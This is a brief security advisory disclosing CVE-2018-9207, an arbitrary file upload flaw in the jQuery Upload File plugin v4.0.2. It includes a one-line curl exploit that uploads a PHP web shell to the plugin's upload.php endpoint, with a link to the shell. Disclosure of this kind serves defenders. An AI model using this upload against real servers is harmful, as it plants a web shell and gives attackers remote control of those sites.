Arbitrary file upload vulnerability in jQuery Upload File v4.0.2
Arbitrary file upload
CVE ID(s):
CVE-2018-9207
Summary: Arbitrary file upload
Notified: 2018-11-02
Description:
jQuery Upload File plugin provides Multiple file Uploads with progress bar.Works with any server-side platform (Google App Engine, PHP, Python, Ruby on Rails, Java, etc.) that supports standard HTML form file uploads.
Exploit:
$ curl -F "myfile=@shell.php" "http://example.com/jquery-upload-file/php/upload.php" ["shell.php"] Where shell is https://github.com/lcashdol/shittyshell/blob/master/shittyshell.php Shell is located http://example.com/jquery-upload-file/php/uploads/shell.php